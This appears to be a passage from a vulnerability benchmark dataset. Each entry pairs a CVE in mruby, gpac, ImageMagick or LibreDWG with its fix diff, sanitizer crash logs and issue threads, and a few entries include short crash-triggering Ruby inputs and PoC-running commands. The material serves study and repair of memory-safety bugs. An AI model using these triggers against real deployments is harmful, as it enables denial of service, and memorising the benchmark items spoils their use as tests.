+ GF_LOG(GF_LOG_ERROR, GF_LOG_MEDIA, ("[MPGVid] packet too large to process (size %llu remain %d)\n", size, remain ));
+ break;
+ }
}
if ((e == GF_EOS) && !ctx->input_is_au_end) {
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2023-5998 | |||
mruby.cve-2018-12247 | An issue was discovered in mruby 1.4.1. There is a NULL pointer dereference in mrb_class, related to certain .clone usage, because mrb_obj_clone in kernel.c copies flags other than the MRB_FLAG_IS_FROZEN flag (e.g., the embedded flag). | https://github.com/mruby/mruby/commit/55edae0226409de25e59922807cb09acb45731a2 | CWE-476 | mruby/mruby | 55edae0226409de25e59922807cb09acb45731a2~1 | diff --git a/src/kernel.c b/src/kernel.c
index f378004cb5..bbe6e8bb75 100644
--- a/src/kernel.c
+++ b/src/kernel.c
@@ -348,7 +348,7 @@ mrb_obj_clone(mrb_state *mrb, mrb_value self)
mrb_field_write_barrier(mrb, (struct RBasic*)p, (struct RBasic*)p->c);
clone = mrb_obj_value(p);
init_copy(mrb, clone, self);
- p->flags = mrb_obj_ptr(self)->flags;
+ p->flags |= mrb_obj_ptr(self)->flags & MRB_FLAG_IS_FROZEN;
return clone;
}
| https://github.com/mruby/mruby/issues/4036 | ASAN:DEADLYSIGNAL
=================================================================
==35404==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000105bcca74 bp 0x7ffeea4d0dd0 sp 0x7ffeea4d0da0 T0)
==35404==The signal is caused by a READ memory access.
==35404==Hint: address points to the zero page.
#0 0x105bcca73 in __asan::Allocator::Deallocate(void*, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x2a73)
#1 0x105c210a7 in wrap_free (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x570a7)
#2 0x1057b7adb in mrb_default_allocf state.c:51
#3 0x1058cfd19 in mrb_free gc.c:274
#4 0x105806ee2 in mrb_gc_free_str string.c:211
#5 0x1058d0dbe in obj_free gc.c:816
#6 0x1058d047a in free_heap gc.c:391
#7 0x1058d122c in mrb_gc_destroy gc.c:400
#8 0x1057b9fa7 in mrb_close state.c:263
#9 0x10573182c in cleanup mruby.c:199
#10 0x10572fc23 in main mruby.c:303
#11 0x7fff76f6d014 in start (libdyld.dylib:x86_64+0x1014)
==35404==Register values:
rax = 0x0000000000000002 rbx = 0x003e303265303030 rcx = 0x00007ffeea4d0d03 rdx = 0x0000000000000000
rdi = 0x003e303265303030 rsi = 0x003e303265303030 rbp = 0x00007ffeea4d0dd0 rsp = 0x00007ffeea4d0da0
r8 = 0x0000000000000001 r9 = 0x000000000000001e r10 = 0xffffffffffffffff r11 = 0x00000fffffffffff
r12 = 0x0000000000000000 r13 = 0x0000000000000001 r14 = 0x00007ffeea4d0df8 r15 = 0x0000000105c66600
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x2a73) in __asan::Allocator::Deallocate(void*, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType)
==35404==ABORTING
Abort trap: 6 | === https://github.com/mruby/mruby/issues/4036 ===
Title: Null pointer dereference in mrb_class
---
Body:
The following input demonstrates a crash:
```ruby
h = {}
a = []
200.times do |n|
a[0] = n
h[a] = 0
puts h.to_a.clone
end
```
Note that I was only able to reproduce this issue when building mruby on a 32-bit Linux system. (I used Ubuntu 16.04 for testing.) I could not reproduce on 64-bit Linux or 64-bit macOS.
Valgrind report:
```
==21910== Memcheck, a memory error detector
==21910== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==21910== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==21910== Command: bin/mruby 360807.rb
==21910==
==21910== Invalid read of size 4
==21910== at 0x804F43A: mrb_class (class.h:52)
==21910== by 0x8053B81: mrb_vm_exec (vm.c:1428)
==21910== by 0x8051E01: mrb_vm_run (vm.c:950)
==21910== by 0x805B2ED: mrb_top_run (vm.c:3005)
==21910== by 0x807C9EB: mrb_load_exec (parse.y:5835)
==21910== by 0x807CA9C: mrb_load_file_cxt (parse.y:5844)
==21910== by 0x804A40A: main (mruby.c:279)
==21910== Address 0x5 is not stack'd, malloc'd or (recently) free'd
==21910==
==21910==
==21910== Process terminating with default action of signal 11 (SIGSEGV)
==21910== Access not within mapped region at address 0x5
==21910== at 0x804F43A: mrb_class (class.h:52)
==21910== by 0x8053B81: mrb_vm_exec (vm.c:1428)
==21910== by 0x8051E01: mrb_vm_run (vm.c:950)
==21910== by 0x805B2ED: mrb_top_run (vm.c:3005)
==21910== by 0x807C9EB: mrb_load_exec (parse.y:5835)
==21910== by 0x807CA9C: mrb_load_file_cxt (parse.y:5844)
==21910== by 0x804A40A: main (mruby.c:279)
==21910== If you believe this happened as a result of a stack
==21910== overflow in your program's main thread (unlikely but
==21910== possible), you can try to increase the size of the
==21910== main thread stack using the --main-stacksize= flag.
==21910== The main thread stack size used in this run was 8388608.
==21910==
==21910== HEAP SUMMARY:
==21910== in use at exit: 258,317 bytes in 5,395 blocks
==21910== total heap usage: 5,515 allocs, 120 frees, 397,673 bytes allocated
==21910==
==21910== LEAK SUMMARY:
==21910== definitely lost: 0 bytes in 0 blocks
==21910== indirectly lost: 0 bytes in 0 blocks
==21910== possibly lost: 0 bytes in 0 blocks
==21910== still reachable: 258,317 bytes in 5,395 blocks
==21910== suppressed: 0 bytes in 0 blocks
==21910== Rerun with --leak-check=full to see details of leaked memory
==21910==
==21910== For counts of detected and suppressed errors, rerun with: -v
==21910== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)
```
This issue was reported by https://hackerone.com/flamezzz
---
Comment #1 by clayton-shopify:
A bisect suggests that the problem began in f408143c289b8017883294f13d36d43b50c8bc5d.
---
Comment #2 by clayton-shopify:
This issue was reported by Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto and Tigist Abera (https://hackerone.com/pnoltof) found an additional input that also began crashing in f408143c289b8017883294f13d36d43b50c8bc5d:
```ruby
IndexError.clone.to_s.clone
```
This input produces a crash on 64-bit macOS. ASAN report:
```
ASAN:DEADLYSIGNAL
=================================================================
==35404==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000105bcca74 bp 0x7ffeea4d0dd0 sp 0x7ffeea4d0da0 T0)
==35404==The signal is caused by a READ memory access.
==35404==Hint: address points to the zero page.
#0 0x105bcca73 in __asan::Allocator::Deallocate(void*, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x2a73)
#1 0x105c210a7 in wrap_free (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x570a7)
#2 0x1057b7adb in mrb_default_allocf state.c:51
#3 0x1058cfd19 in mrb_free gc.c:274
#4 0x105806ee2 in mrb_gc_free_str string.c:211
#5 0x1058d0dbe in obj_free gc.c:816
#6 0x1058d047a in free_heap gc.c:391
#7 0x1058d122c in mrb_gc_destroy gc.c:400
#8 0x1057b9fa7 in mrb_close state.c:263
#9 0x10573182c in cleanup mruby.c:199
#10 0x10572fc23 in main mruby.c:303
#11 0x7fff76f6d014 in start (libdyld.dylib:x86_64+0x1014)
==35404==Register values:
rax = 0x0000000000000002 rbx = 0x003e303265303030 rcx = 0x00007ffeea4d0d03 rdx = 0x0000000000000000
rdi = 0x003e303265303030 rsi = 0x003e303265303030 rbp = 0x00007ffeea4d0dd0 rsp = 0x00007ffeea4d0da0
r8 = 0x0000000000000001 r9 = 0x000000000000001e r10 = 0xffffffffffffffff r11 = 0x00000fffffffffff
r12 = 0x0000000000000000 r13 = 0x0000000000000001 r14 = 0x00007ffeea4d0df8 r15 = 0x0000000105c66600
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x2a73) in __asan::Allocator::Deallocate(void*, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType)
==35404==ABORTING
Abort trap: 6
```
It seems likely the root cause is the same given that both inputs started producing a crash as of the same commit. | https://nvd.nist.gov/vuln/detail/CVE-2018-12247 | ||
gpac.cve-2022-1795 | Use After Free in GitHub repository gpac/gpac prior to v2.1.0-DEV. | https://huntr.dev/bounties/9c312763-41a6-4fc7-827b-269eb86efcbc | https://github.com/gpac/gpac/commit/c535bad50d5812d27ee5b22b54371bddec411514 | CWE-416 | gpac/gpac | c535bad50d5812d27ee5b22b54371bddec411514~1 | diff --git a/src/bifs/memory_decoder.c b/src/bifs/memory_decoder.c
index 74d635750d..1fc8c99638 100644
--- a/src/bifs/memory_decoder.c
+++ b/src/bifs/memory_decoder.c
@@ -178,7 +178,12 @@ static GF_Err BM_ParseGlobalQuantizer(GF_BifsDecoder *codec, GF_BitStream *bs, G
codec->scenegraph->global_qp = NULL;
if (gf_node_get_tag(node) != TAG_MPEG4_QuantizationParameter) {
- gf_node_unregister(node, NULL);
+ //if node was just created (num_instances == 0), unregister
+ //otherwise (USE node) don't do anything
+ if (!node->sgprivate->num_instances) {
+ node->sgprivate->num_instances = 1;
+ gf_node_unregister(node, NULL);
+ }
return GF_NON_COMPLIANT_BITSTREAM;
}
@@ -188,7 +193,8 @@ static GF_Err BM_ParseGlobalQuantizer(GF_BifsDecoder *codec, GF_BitStream *bs, G
codec->scenegraph->global_qp = node;
/*register TWICE: once for the command, and for the scenegraph globalQP*/
- node->sgprivate->num_instances = 2;
+ gf_node_unregister(node, NULL);
+ gf_node_unregister(node, NULL);
com = gf_sg_command_new(codec->current_graph, GF_SG_GLOBAL_QUANTIZER);
inf = gf_sg_command_field_new(com);
| https://nvd.nist.gov/vuln/detail/CVE-2022-1795 | ||||
imagemagick.cve-2021-3962 | A flaw was found in ImageMagick where it did not properly sanitize certain input before using it to invoke convert processes. This flaw allows an attacker to create a specially crafted image that leads to a use-after-free vulnerability when processed by ImageMagick. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability. | https://bugzilla.redhat.com/show_bug.cgi?id=2023196, https://github.com/ImageMagick/ImageMagick/commit/82775af03bbb10a0a1d0e15c0156c75673b4525e | CWE-416 | ImageMagick/ImageMagick | 82775af03bbb10a0a1d0e15c0156c75673b4525e~1 | diff --git a/coders/dcm.c b/coders/dcm.c
index edc09e9f433..c2de0b1eeb3 100644
--- a/coders/dcm.c
+++ b/coders/dcm.c
@@ -3996,10 +3996,11 @@ static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo *exception)
(void) RelinquishUniqueFileResource(filename);
}
read_info=DestroyImageInfo(read_info);
- RelinquishDCMMemory(&info,&map,stream_info,stack,data);
image=DestroyImageList(image);
if ((status == MagickFalse) && (exception->severity < ErrorException))
ThrowDCMException(CorruptImageError,"CorruptImageError")
+ else
+ RelinquishDCMMemory(&info,&map,stream_info,stack,data);
return(GetFirstImageInList(images));
}
if (info.depth != (1UL*MAGICKCORE_QUANTUM_DEPTH))
| https://bugzilla.redhat.com/show_bug.cgi?id=2023196, https://github.com/ImageMagick/ImageMagick/issues/4446 | ==11927==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f000000580 at pc 0x000000f0f98c bp 0x7ffe3d8a7fd0 sp 0x7ffe3d8a7fc8
READ of size 8 at 0x60f000000580 thread T0
#0 0xf0f98b in RelinquishDCMMemory /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3039:20
#1 0xf08eb8 in ReadDCMImage /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:4002:11
#2 0x65b638 in ReadImage /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:563:15
#3 0x6602d3 in ReadImages /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:955:9
#4 0x15bd745 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:611:18
#5 0x177d150 in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14
#6 0x5f9924 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10
#7 0x5f9924 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10
#8 0x7f35dfd66bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x549e99 in _start (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x549e99)
0x60f000000580 is located 144 bytes inside of 168-byte region [0x60f0000004f0,0x60f000000598)
freed by thread T0 here:
#0 0x5c4af2 in free (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x5c4af2)
#1 0xf0f82c in RelinquishMagickMemory /root/fuzz/target/imagemagick/ImageMagick/MagickCore/memory.c:1167:3
#2 0xf0f82c in RelinquishDCMMemory /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3043:35
#3 0xf08e0b in ReadDCMImage /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3999:9
#4 0x65b638 in ReadImage /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:563:15
#5 0x6602d3 in ReadImages /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:955:9
#6 0x15bd745 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:611:18
#7 0x177d150 in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14
#8 0x5f9924 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10
#9 0x5f9924 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10
#10 0x7f35dfd66bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
previously allocated by thread T0 here:
#0 0x5c4d5d in malloc (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x5c4d5d)
#1 0xefb803 in AcquireMagickMemory /root/fuzz/target/imagemagick/ImageMagick/MagickCore/memory.c:558:10
#2 0xefb803 in ReadDCMImage /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3142:33
#3 0x65b638 in ReadImage /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:563:15
#4 0x6602d3 in ReadImages /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:955:9
#5 0x15bd745 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:611:18
#6 0x177d150 in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14
#7 0x5f9924 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10
#8 0x5f9924 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10
#9 0x7f35dfd66bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-use-after-free /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3039:20 in RelinquishDCMMemory
Shadow bytes around the buggy address:
0x0c1e7fff8060: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8070: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
0x0c1e7fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8090: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fd fd
0x0c1e7fff80a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c1e7fff80b0:[fd]fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==11927==ABORTING | ASan (inferred) | === https://github.com/ImageMagick/ImageMagick/issues/4446 ===
Title: heap-use-after-free in magick at dcm.c RelinquishDCMMemory
---
Body:
### ImageMagick version
7.1.0-14
### Operating system
Linux
### Operating system, version and so on
OS: Ubuntu 18.04.6 LTS Version: ImageMagick 7.1.0-14 Q16-HDRI x86_64 2021-10-28 https://imagemagick.org Copyright: (C) 1999-2021 ImageMagick Studio Delegates (built-in): fontconfig freetype jng jpeg lzma pangocairo png x xml zlib Compiler: gcc (4.2)
### Description
Hello,
We are currently working on fuzz testing feature, and we found a **heap-use-after-free** on **magick**.
### Steps to Reproduce
build it
`./configure --disable-shared && make && make install
`
run it
`
./magick convert -adjoin -alpha copy -antialias -append -auto-gamma -auto-level -auto-orient poc /dev/null
`
output
### free(): double free detected in tcache 2
When I compile in ASAN mode
`
./magick convert -adjoin -alpha copy -antialias -append -auto-gamma -auto-level -auto-orient poc /dev/null
`
=================================================================
==11927==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f000000580 at pc 0x000000f0f98c bp 0x7ffe3d8a7fd0 sp 0x7ffe3d8a7fc8
READ of size 8 at 0x60f000000580 thread T0
#0 0xf0f98b in RelinquishDCMMemory /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3039:20
#1 0xf08eb8 in ReadDCMImage /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:4002:11
#2 0x65b638 in ReadImage /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:563:15
#3 0x6602d3 in ReadImages /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:955:9
#4 0x15bd745 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:611:18
#5 0x177d150 in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14
#6 0x5f9924 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10
#7 0x5f9924 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10
#8 0x7f35dfd66bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x549e99 in _start (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x549e99)
0x60f000000580 is located 144 bytes inside of 168-byte region [0x60f0000004f0,0x60f000000598)
freed by thread T0 here:
#0 0x5c4af2 in free (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x5c4af2)
#1 0xf0f82c in RelinquishMagickMemory /root/fuzz/target/imagemagick/ImageMagick/MagickCore/memory.c:1167:3
#2 0xf0f82c in RelinquishDCMMemory /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3043:35
#3 0xf08e0b in ReadDCMImage /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3999:9
#4 0x65b638 in ReadImage /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:563:15
#5 0x6602d3 in ReadImages /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:955:9
#6 0x15bd745 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:611:18
#7 0x177d150 in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14
#8 0x5f9924 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10
#9 0x5f9924 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10
#10 0x7f35dfd66bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
previously allocated by thread T0 here:
#0 0x5c4d5d in malloc (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x5c4d5d)
#1 0xefb803 in AcquireMagickMemory /root/fuzz/target/imagemagick/ImageMagick/MagickCore/memory.c:558:10
#2 0xefb803 in ReadDCMImage /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3142:33
#3 0x65b638 in ReadImage /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:563:15
#4 0x6602d3 in ReadImages /root/fuzz/target/imagemagick/ImageMagick/MagickCore/constitute.c:955:9
#5 0x15bd745 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:611:18
#6 0x177d150 in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14
#7 0x5f9924 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10
#8 0x5f9924 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10
#9 0x7f35dfd66bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-use-after-free /root/fuzz/target/imagemagick/ImageMagick/coders/dcm.c:3039:20 in RelinquishDCMMemory
Shadow bytes around the buggy address:
0x0c1e7fff8060: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8070: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
0x0c1e7fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8090: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fd fd
0x0c1e7fff80a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c1e7fff80b0:[fd]fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==11927==ABORTING
### Images
[poc.zip](https://github.com/ImageMagick/ImageMagick/files/7489944/poc.zip)
---
Comment #1 by dlemstra:
Thanks for reporting this. This will be resolved in the next release of ImageMagick.
---
Comment #2 by bhaskarvilles:
how can i compile this in ASAN mode ?
---
Comment #3 by fa1lr4in:
> how can i compile this in ASAN mode ?
You can use the "-fsanitize=address" option to enable it
---
Comment #4 by ByteHackr:
@fa1lr4in
CVE Assigned: `CVE-2021-3962`
https://bugzilla.redhat.com/show_bug.cgi?id=2023196
---
Comment #5 by fa1lr4in:
> @fa1lr4in
>
> CVE 分配:[https](https://bugzilla.redhat.com/show_bug.cgi?id=2023196) ://bugzilla.redhat.com/show_bug.cgi?id `CVE-2021-3962` [=2023196](https://bugzilla.redhat.com/show_bug.cgi?id=2023196)
Thank you for your notification! | https://nvd.nist.gov/vuln/detail/CVE-2021-3962 | |
imagemagick.cve-2018-5247 | In ImageMagick 7.0.7-17 Q16, there are memory leaks in ReadRLAImage in coders/rla.c. | https://github.com/ImageMagick/ImageMagick/issues/928 | CWE-772 | ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/issues/928 | ==108460==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x4b9ad3 in malloc (/usr/local/bin/magick+0x4b9ad3)
#1 0x7f51b50cda5b in ReadRLAImage /home/ubuntu/ImageMagick/coders/rla.c:271:34
#2 0x7f51b4a5aaf1 in ReadImage /home/ubuntu/ImageMagick/MagickCore/constitute.c:497:13
#3 0x7f51b4a5d2f4 in ReadImages /home/ubuntu/ImageMagick/MagickCore/constitute.c:866:9
#4 0x7f51b436f3c7 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:410:20
#5 0x7f51b42f62d2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#6 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#7 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#8 0x7f51b1e76f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s). | === https://github.com/ImageMagick/ImageMagick/issues/928 ===
Title: memory leaks
---
Body:
ubuntu@ubuntu:~/fuzz_py$ magick -version
Version: ImageMagick 7.0.7-17 Q16 x86_64 2017-12-26 http://www.imagemagick.org
Copyright: © 1999-2018 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP
Delegates (built-in): fontconfig freetype png x zlib
ubuntu@ubuntu:~/fuzz_py$ magick montage poc.rla /dev/null
montage: improper image header `poc.rla' @ error/rla.c/ReadRLAImage/290.
montage: `/dev/null' @ error/montage.c/MontageImageCommand/1777.
=================================================================
==108460==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x4b9ad3 in malloc (/usr/local/bin/magick+0x4b9ad3)
#1 0x7f51b50cda5b in ReadRLAImage /home/ubuntu/ImageMagick/coders/rla.c:271:34
#2 0x7f51b4a5aaf1 in ReadImage /home/ubuntu/ImageMagick/MagickCore/constitute.c:497:13
#3 0x7f51b4a5d2f4 in ReadImages /home/ubuntu/ImageMagick/MagickCore/constitute.c:866:9
#4 0x7f51b436f3c7 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:410:20
#5 0x7f51b42f62d2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#6 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#7 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#8 0x7f51b1e76f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s).
[poc.zip](https://github.com/ImageMagick/ImageMagick/files/1602195/poc.zip)
---
Comment #1 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by littleputa:
credit: nsfocus security team.
---
Comment #3 by littleputa:
CVE-2018-5247 | https://nvd.nist.gov/vuln/detail/CVE-2018-5247 | ||||
libredwg.cve-2021-28236 | LibreDWG v0.12.3 was discovered to contain a NULL pointer dereference via out_dxfb.c. | https://github.com/LibreDWG/libredwg/issues/324 | CWE-476 | LibreDWG/libredwg | https://github.com/LibreDWG/libredwg/issues/324 | ➜ ./dwg2dxf -o ./fuzz_out -b -y ./poc1
Reading DWG file ./poc1
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: obj_string_stream overflow, bitsize 96 => 96
ERROR: Invalid object handle 10.1.1 at pos @4.2
ERROR: bit_read_RC buffer overflow at 12
ERROR: bit_read_RC buffer overflow at 12
ERROR: bit_read_RC buffer overflow at 12
ERROR: bit_read_RC buffer overflow at 12 >= 12
ERROR: bit_read_BL: unexpected 2-bit code: '11'
ERROR: bit_read_RC buffer overflow at 12
ERROR: Invalid CMC method 0x0 ignored
ERROR: bit_advance_position buffer overflow at pos 11.7, size 12, advance by 2
ERROR: bit_read_BD buffer overflow at 12 >= 12
ERROR: Invalid BD identifier_height
Warning: check_CRC mismatch 22-38 = 16: 401C <=> 0B9D
Warning: Unstable Class object 502 TABLESTYLE (0xfff) 42/0
Warning: TODO TABLESTYLE r2010+ missing fields
Warning: Unstable Class object 503 MATERIAL (0x481) 45/0
Warning: Unstable Class object 503 MATERIAL (0x481) 46/0
Warning: Unstable Class object 503 MATERIAL (0x481) 47/0
Warning: Ignore invalid handleoff (@390)
ERROR: bit_read_RC buffer overflow at 174
ERROR: bit_read_RC buffer overflow at 171
ERROR: bit_read_RC buffer overflow at 973
ERROR: bit_read_RC buffer overflow at 284
ERROR: bit_read_RC buffer overflow at 284
ERROR: Some section size or address out of bounds
ERROR: Failed to read uncompressed Preview section
Warning: Skip empty section 0 AcDb:Template
ERROR: Template section not found
ERROR: Invalid num_segidx
Warning: Object handle not found, 2/2 in 150 objects
Warning: Object handle not found, 2/2 in 150 objects
Warning: Object handle not found, 2/2 in 150 objects
Writing DXF file ./fuzz_out as r14
ASAN:DEADLYSIGNAL
=================================================================
==17991==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x7ffff4cf2b1b bp 0x7fffffffc9c0 sp 0x7fffffff8450 T0)
==17991==The signal is caused by a READ memory access.
==17991==Hint: address points to the zero page.
